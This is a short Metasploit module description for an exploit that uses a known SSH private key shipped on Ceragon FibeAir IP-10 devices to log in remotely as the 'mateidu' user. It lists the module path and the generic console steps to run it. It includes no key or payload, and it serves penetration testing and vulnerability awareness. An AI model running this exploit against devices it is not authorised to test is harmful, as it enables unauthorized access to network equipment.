Ceragon FibeAir IP-10 SSH Private Key Exposure

Description

Ceragon ships a public/private key pair on FibeAir IP-10 devices that allows passwordless authentication to any other IP-10 device. Since the key is easily retrievable, an attacker can use it to gain unauthorized remote access as the "mateidu" user.

Module Options

To display the available options, load the module within the Metasploit console and run the commands 'show options' or 'show advanced':

msf > use exploit/linux/ssh/ceragon_fibeair_known_privkey
msf exploit(ceragon_fibeair_known_privkey) > show targets
    ...targets...
msf exploit(ceragon_fibeair_known_privkey) > set TARGET < target-id >
msf exploit(ceragon_fibeair_known_privkey) > show options
    ...show and set options...
msf exploit(ceragon_fibeair_known_privkey) > exploit

Time is precious, so I don’t want to do something manually that I can automate. Leveraging the Metasploit Framework when automating any task keeps us from having to re-create the wheel as we can use the existing libraries and focus our efforts where it matters.
